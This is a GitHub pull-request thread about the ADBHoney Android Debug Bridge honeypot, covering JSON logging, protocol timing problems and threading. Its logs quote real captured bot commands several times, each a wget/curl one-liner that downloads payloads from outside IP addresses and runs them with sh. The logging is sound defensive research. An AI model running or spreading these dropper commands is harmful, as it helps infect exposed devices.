search

huuck / ADBHoney

Low interaction honeypot designed for Android Debug Bridge over TCP/IP
GNU General Public License v3.0
160 stars 33 forks source link

Implemented JSON logging and other improvements #22

Closed bontchev closed 5 years ago

bontchev commented 5 years ago
bontchev commented 5 years ago

Please make sure you test it extensively before merging. I have tested it, of course (connection, shell command, file upload, disconnection) and it works - but since I've started running it, I am getting very few attacks and they all basically do nothing but abort with an error. Could be a fluke, of course, but I might have messed something up...

huuck commented 5 years ago

Gonna test it tonight against my baseline logs. I'll notify you tomorrow on how it went.

huuck commented 5 years ago

Gonna wait a bit with the merge. I haven't received any payloads like this "cd /data/local/tmp;wget hxxp://89.46.79.57/br -O- >br;sh br;busybox wget hxxp://89.46.79.57/r -O- >r;sh r;curl hxxp://89.46.79.57/c >c;sh c;busybox curl hxxp://89.46.79.57/bc >bc;sh bc" ever since I deployed the new version. I'll get back tonight with more details.

ghost commented 5 years ago

89.46.79.57 had been taken down after I reported that host. It was the host I found running the honeypot for about 24 hours. If I remember correctly I only found 1 or to other hosts during that 24 hours, with no more than 1 connection attempt per host. I will run the (new) version over the weekend and see what it gets. Since it hasn't been that busy on the honeypot earlier I do not expect to find many hosts, so not finding much doesn't have to be a glitch in the software per se. I'll report back my findings after the weekend. Due to a busy schedule, and being sick, I have to been able to test earlier.

Btw, great work being done here! Keep it up!

bontchev commented 5 years ago

89.46.79.57 might be down, but the infected machines running bots that try to download from it aren't. I've had a single hit from such a bot on 28th. Here's the JSON log:

{"eventid": "adbhoney.session.connect", "src_ip": "115.193.74.152", "session": "8a543a2d2687", "src_port": 46246, "dst_port": 5555, "unixtime": 1543358474, "timestamp": "2018-11-27T22:41:14.145599Z", "message": "New connection: 115.193.74.152:46246 (192.168.0.3:5555) [session: 8a543a2d2687]", "sensor": "vess-box", "dst_ip": "192.168.0.3"}
{"eventid": "adbhoney.command.input", "src_ip": "115.193.74.152", "session": "8a543a2d2687", "input": "cd /data/local/tmp;wget http://89.46.79.57/br -O- >br;sh br;busybox wget http://89.46.79.57/r -O- >r;sh r;curl http://89.46.79.57/c >c;sh c;busybox curl http://89.46.79.57/bc >bc;sh bc", "unixtime": 1543358474, "timestamp": "2018-11-27T22:41:14.562003Z", "message": "shell:cd /data/local/tmp;wget http://89.46.79.57/br -O- >br;sh br;busybox wget http://89.46.79.57/r -O- >r;sh r;curl http://89.46.79.57/c >c;sh c;busybox curl http://89.46.79.57/bc >bc;sh bc", "sensor": "vess-box"}
{"eventid": "adbhoney.session.closed", "src_ip": "115.193.74.152", "session": "8a543a2d2687", "unixtime": 1543358495, "duration": 21.134389877319336, "timestamp": "2018-11-27T22:41:35.279755Z", "message": "Connection reset by peer after 21 seconds", "sensor": "vess-box"}

However, it worries me that I get very few hits in general. For instance, for the whole of November 29, the log contains only connections and disconnections; no infection attempts:

2018-11-28T22:56:51.040146Z     193.238.46.24   connection start (6c385108e3c2)
2018-11-28T22:57:06.564265Z     193.238.46.24    error(104, 'Connection reset by peer') : '\x03\x00\x00+&\xe0\x00\x00\x00\x00\x00Cooki'
2018-11-28T22:57:06.564403Z     193.238.46.24   connection closed (6c385108e3c2)
2018-11-29T00:34:24.918145Z     81.7.14.210     connection start (4f0de3d4ed01)
2018-11-29T00:38:56.324215Z     81.7.14.210     connection closed (4f0de3d4ed01)
2018-11-29T01:33:55.431915Z     81.133.45.149   connection start (1eb6b39e7a94)
2018-11-29T01:40:18.208856Z     81.133.45.149   connection closed (1eb6b39e7a94)
2018-11-29T02:24:29.693559Z     74.82.47.5      connection start (15daa03dba2d)
2018-11-29T02:30:30.341065Z     74.82.47.5      connection closed (15daa03dba2d)
2018-11-29T02:39:47.180389Z     195.231.10.7    connection start (8687fcca15a7)
2018-11-29T02:45:47.571987Z     195.231.10.7    connection closed (8687fcca15a7)
2018-11-29T04:53:50.908919Z     217.175.215.173 connection start (42245dac1ee0)
2018-11-29T04:59:53.393884Z     217.175.215.173 connection closed (42245dac1ee0)
2018-11-29T14:14:54.382606Z     195.231.10.7    connection start (ea389266fcb8)
2018-11-29T14:20:54.774673Z     195.231.10.7    connection closed (ea389266fcb8)
2018-11-29T14:26:39.394649Z     185.156.177.12  connection start (ad0f87e80853)
2018-11-29T14:30:07.820394Z     185.156.177.12   error(104, 'Connection reset by peer') : '\x03\x00\x00/*\xe0\x00\x00\x00\x00\x00Cooki'
2018-11-29T14:30:07.820527Z     185.156.177.12  connection closed (ad0f87e80853)
2018-11-29T15:19:56.531718Z     185.156.177.12  connection start (b507408d1291)
2018-11-29T15:31:23.517734Z     185.156.177.12   error(104, 'Connection reset by peer') : '\x03\x00\x00/*\xe0\x00\x00\x00\x00\x00Cooki'
2018-11-29T15:31:23.517862Z     185.156.177.12  connection closed (b507408d1291)
2018-11-29T17:53:05.724996Z     176.110.224.221 connection start (77d1d5c5f778)
2018-11-29T17:58:46.976278Z     176.110.224.221 connection closed (77d1d5c5f778)
2018-11-29T18:09:22.611663Z     176.110.224.221 connection start (be4c24b72f39)
2018-11-29T18:09:55.567921Z     176.110.224.221  error(104, 'Connection reset by peer') : 'GET /status HTTP'
2018-11-29T18:09:55.568042Z     176.110.224.221 connection closed (be4c24b72f39)
2018-11-29T20:41:02.860782Z     93.76.176.62    connection start (75fb583f3e54)
2018-11-29T20:47:05.321603Z     93.76.176.62    connection closed (75fb583f3e54)

It worries me that I might have screwed something up in the honeypot...

bontchev commented 5 years ago

OK, I see a possible problem here...

So far I've been testing the script (after making modifications to it) by issuing adb commands manually. However, I got fed up with that and wrote a small shell script to do it:

adb connect $IP
adb shell "cd /foo/bar;cd snafu"
adb push somefile.bin /data/local
adb disconnect

And, to my surprise, with the original honeypot (branch master) this works but with my modifications (logging to a JSON file turned on), it produces various errors, like

error: device offline

However, if I add a sleep 1 line after each command of the shell script, everything works just fine.

Could it be that, for some reason, the main code of the honeypot is very timing-sensitive? And if it spends additional time to write to logs, it somehow misses the next command or part of it? And, if this is the reason for the problem, any ideas how to fix it? Eventually I'd like to add more logging modules (e.g., to a MySQL database) and the logging will become even slower...

ghost commented 5 years ago

Hi,

I am sorry, you are right. I shouldn't post anything with a high fever. My bad. My honeypot is running again since yesterday evening but didn't catch any hits yet. I'll try to sort out if this is a problem on my end, or with the code from yesterday evening. I still have the original code in a vm, I could start that one for a comparison tomorrow.

On 30 nov. 2018, at 00:16, Vesselin Bontchev notifications@github.com wrote:

89.46.79.57 might be down, but the infected machines running bots that try to download from it aren't. I've had a single hit from such a bot on 28th. Here's the JSON log:

{"eventid": "adbhoney.command.input", "src_ip": "115.193.74.152", "session": "8a543a2d2687", "input": "cd /data/local/tmp;wget http://89.46.79.57/br -O- >br;sh br;busybox wget http://89.46.79.57/r -O- >r;sh r;curl http://89.46.79.57/c >c;sh c;busybox curl http://89.46.79.57/bc >bc;sh bc", "unixtime": 1543358474, "timestamp": "2018-11-27T22:41:14.562003Z", "message": "shell:cd /data/local/tmp;wget http://89.46.79.57/br -O- >br;sh br;busybox wget http://89.46.79.57/r -O- >r;sh r;curl http://89.46.79.57/c >c;sh c;busybox curl http://89.46.79.57/bc >bc;sh bc", "sensor": "vess-box"} However, it worries me that I get very few hits in general. For instance, for the whole of November 29, the log contains only connections and disconnections; no infection attempts:

2018-11-28T22:56:51.040146Z 193.238.46.24 connection start (6c385108e3c2) 2018-11-28T22:57:06.564265Z 193.238.46.24 error(104, 'Connection reset by peer') : '\x03\x00\x00+&\xe0\x00\x00\x00\x00\x00Cooki' 2018-11-28T22:57:06.564403Z 193.238.46.24 connection closed (6c385108e3c2) 2018-11-29T00:34:24.918145Z 81.7.14.210 connection start (4f0de3d4ed01) 2018-11-29T00:38:56.324215Z 81.7.14.210 connection closed (4f0de3d4ed01) 2018-11-29T01:33:55.431915Z 81.133.45.149 connection start (1eb6b39e7a94) 2018-11-29T01:40:18.208856Z 81.133.45.149 connection closed (1eb6b39e7a94) 2018-11-29T02:24:29.693559Z 74.82.47.5 connection start (15daa03dba2d) 2018-11-29T02:30:30.341065Z 74.82.47.5 connection closed (15daa03dba2d) 2018-11-29T02:39:47.180389Z 195.231.10.7 connection start (8687fcca15a7) 2018-11-29T02:45:47.571987Z 195.231.10.7 connection closed (8687fcca15a7) 2018-11-29T04:53:50.908919Z 217.175.215.173 connection start (42245dac1ee0) 2018-11-29T04:59:53.393884Z 217.175.215.173 connection closed (42245dac1ee0) 2018-11-29T14:14:54.382606Z 195.231.10.7 connection start (ea389266fcb8) 2018-11-29T14:20:54.774673Z 195.231.10.7 connection closed (ea389266fcb8) 2018-11-29T14:26:39.394649Z 185.156.177.12 connection start (ad0f87e80853) 2018-11-29T14:30:07.820394Z 185.156.177.12 error(104, 'Connection reset by peer') : '\x03\x00\x00/\xe0\x00\x00\x00\x00\x00Cooki' 2018-11-29T14:30:07.820527Z 185.156.177.12 connection closed (ad0f87e80853) 2018-11-29T15:19:56.531718Z 185.156.177.12 connection start (b507408d1291) 2018-11-29T15:31:23.517734Z 185.156.177.12 error(104, 'Connection reset by peer') : '\x03\x00\x00/\xe0\x00\x00\x00\x00\x00Cooki' 2018-11-29T15:31:23.517862Z 185.156.177.12 connection closed (b507408d1291) 2018-11-29T17:53:05.724996Z 176.110.224.221 connection start (77d1d5c5f778) 2018-11-29T17:58:46.976278Z 176.110.224.221 connection closed (77d1d5c5f778) 2018-11-29T18:09:22.611663Z 176.110.224.221 connection start (be4c24b72f39) 2018-11-29T18:09:55.567921Z 176.110.224.221 error(104, 'Connection reset by peer') : 'GET /status HTTP' 2018-11-29T18:09:55.568042Z 176.110.224.221 connection closed (be4c24b72f39) 2018-11-29T20:41:02.860782Z 93.76.176.62 connection start (75fb583f3e54) 2018-11-29T20:47:05.321603Z 93.76.176.62 connection closed (75fb583f3e54) It worries me that I might have screwed something up in the honeypot...

— You are receiving this because you commented. Reply to this email directly, view it on GitHub, or mute the thread.

huuck commented 5 years ago

Got a few more hits today: 2018-11-30T12:50:20.531395Z 112.160.27.133 shell:cd /data/local/tmp;wget http://80.211.117.113/br -O- >br;sh br;busybox wget http://80.211.117.113/r -O- >r;sh r;curl http://80.211.117.113/c >c;sh c;busybox curl http://80.211.117.113/bc >bc;sh bc;rm -rf bc br r c;echo lol

And yes, the adb protocol is a bit time sensitive... I'll wait a bit more so we can completely sort this out before merging.

bontchev commented 5 years ago

If the protocol is time-sensitive, then my current approach to logging is totally wrong. Is there a way to fix this? Do the communication in an asynchronous way? Use Twisted, perhaps? It's a TCP/IP communication, after all...

huuck commented 5 years ago

I'll get home and do a more through testing and review. I'll come back with more answers (hopefully) tomorrow evening.

bontchev commented 5 years ago

During our tests (with my current kind of JSON logging), the honeypot misses shell commands and file uploads if they arrive too fast. Perhaps implement these parts (dumping of file and logging the event, and the logging of the shell command) as threads? The logging of these events might be recorded physically out of order in the logs sometimes, but the timestamps will help ordering them correctly.

huuck commented 5 years ago

Gonna merge it, as it provides way better improvements for now. I'll disable JSON logging for now, though.

bontchev commented 5 years ago

OK, folks, I've wasted way too much time trying to figure out what the problem in my code is - and, it turns out, it's not my code that has a problem.

First, I tried to implement the processing of "slow" events (shell commands and file transfers - the ones that occasionally got missed) as threads. No can do - they are still missed occasionally. I was about to start re-doing the whole work from scratch, making minor changes and testing every time - when it occurred to me to test again the original code (what used to be in master, without my patch for JSON logging and other stuff).

Well, surprise, surprise. The original code just missed a "shell" command when it arrived too fast.

I am sorry, folks, but this honeypot does not work correctly. Until the problem is found and fixed, there is no point for me trying to improve it - it will be wasted effort. Problem is, I don't quite understand the protocol, I don't understand how the original code is supposed to work, so there is no hope of me fixing it. @huuck, it's up to you now.

My colleague has implemented config file processing and output plug-ins (with my JSON logging implemented as a plug-in), but I've put these efforts on hold for now. The most urgent task is to get the original code working properly, because currently it doesn't.

My colleague will try to implement the communication in Twisted. If she succeeds (which is not a given), we'll see if the result is a more robust implementation and, if this is the case, we'll start improving that. If not, I am giving up on this project.

Bye for now; I'll be sure to report if we have any progress.

huuck commented 5 years ago

Let's not jump to conclusions. I just finished conference season, so I had a few more time on this. It looks like this is a problem that comes from the adb command line and not from the server. Just tried this with two phones, and got the same problems. If you do an adb tcpip 5555 and use a script to send a bunch of shell commands, I keep getting device offline. Could you try that as well with a real phone? I only have 2 to test. If this is the case, JSON logging should be good to go.

Kindest regards, Gabriel

t3chn0m4g3 commented 5 years ago

@bontchev Thanks for implementing JSON! @huuck I just re-activated JSON logging for my installation and noticed that logging to file does not work. Can you guys verify?

huuck commented 5 years ago

I'll reactivate it right now as I've noticed that everything is working without any issues after further testing.

On Wed, Dec 5, 2018 at 1:44 PM Marco Ochse notifications@github.com wrote:

@bontchev https://github.com/bontchev Thanks for implementing JSON! @huuck https://github.com/huuck I just re-activated JSON logging for my installation and noticed that logging to file does not work. Can you guys verify?

— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub https://github.com/huuck/ADBHoney/pull/22#issuecomment-444457349, or mute the thread https://github.com/notifications/unsubscribe-auth/ADMqxeIo0EDgKEGVWI1ybQGM9rxP3g_Qks5u17GxgaJpZM4Y16Lf .

t3chn0m4g3 commented 5 years ago

@huuck Thanks, I did that for my installation already, however, logging to file does not seem to work for me. Can you verify for your installation or confirm? Thanks in advance :bowtie:

t3chn0m4g3 commented 5 years ago

Nevermind, missed the return 😄

bontchev commented 5 years ago

@huuck, I cannot test with a real phone - I don't have a smart phone and wouldn't put it on the Internet even if I had one, not even for testing purposes.

We did some additional testing and it seems that commands are missed more often when JSON logging is enabled. This could be just a fluke, of course, but if it is true, it means that things will slow down even more if we implement MySQL logging - and without MySQL logging, the honeypot is useless to us.

My colleague tried to implement the honeypot in Twisted, but she has hit a snag there, too. She receives shell commands but not files. She's working with this reverse-engineered "specification" of the ADB protocol:

https://github.com/cstyan/adbDocumentation#adb-push

Her problem is that she reaches step 12 and then never receives an OKAY from the client, so she can't continue. Does this specification look correct to you? For instance, there is nothing there about sending replies twice.

Anyway, I am giving up on this. I don't really care where the problem is - if it is in the adb client, instead of in the honeypot code, that's even worse, because it means we can't fix it. And, as I said, without the ability of logging the data to a MySQL database, the honeypot is useless to me.

huuck commented 5 years ago

The best approach would be to have the logging on a separate thread. The protocol is really time sensitive, so I'll try to have an interthreading communication system in place and do logging separately.

On Wed, Dec 5, 2018 at 3:56 PM Vesselin Bontchev notifications@github.com wrote:

@huuck https://github.com/huuck, I cannot test with a real phone - I don't have a smart phone and wouldn't put it on the Internet even if I had one, not even for testing purposes.

We did some additional testing and it seems that commands are missed more often when JSON logging is enabled. This could be just a fluke, of course, but if it is true, it means that things will slow down even more if we implement MySQL logging - and without MySQL logging, the honeypot is useless to us.

My colleague tried to implement the honeypot in Twisted, but she has hit a snag there, too. She receives shell commands but not files. She's working with this reverse-engineered "specification" of the ADB protocol:

https://github.com/cstyan/adbDocumentation#adb-push

Her problem is that she reaches step 12 and then never receives an OKAY from the client, so she can't continue. Does this specification look correct to you? For instance, there is nothing there about sending replies twice.

Anyway, I am giving up on this. I don't really care where the problem is - if it is in the adb client, instead of in the honeypot code, that's even worse, because it means we can't fix it. And, as I said, without the ability of logging the data to a MySQL database, the honeypot is useless to me.

— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub https://github.com/huuck/ADBHoney/pull/22#issuecomment-444493371, or mute the thread https://github.com/notifications/unsubscribe-auth/ADMqxQHAae9ZC-Jy7snodqFqK_xveOqIks5u19CRgaJpZM4Y16Lf .

t3chn0m4g3 commented 5 years ago

In the meantime I am preparing it for T-Pot

bontchev commented 5 years ago

@huuck, I already tried threading (at least for shell commands and for file transfer). It's a pretty easy change. But it doesn't help - it still misses stuff.

bontchev commented 5 years ago

OK, threaded logging of shell commands and file transfers - pull request #23. I am not really suggesting that you merge it; just play with it to see that it doesn't help, stuff is still missed if it is send very fast with adb.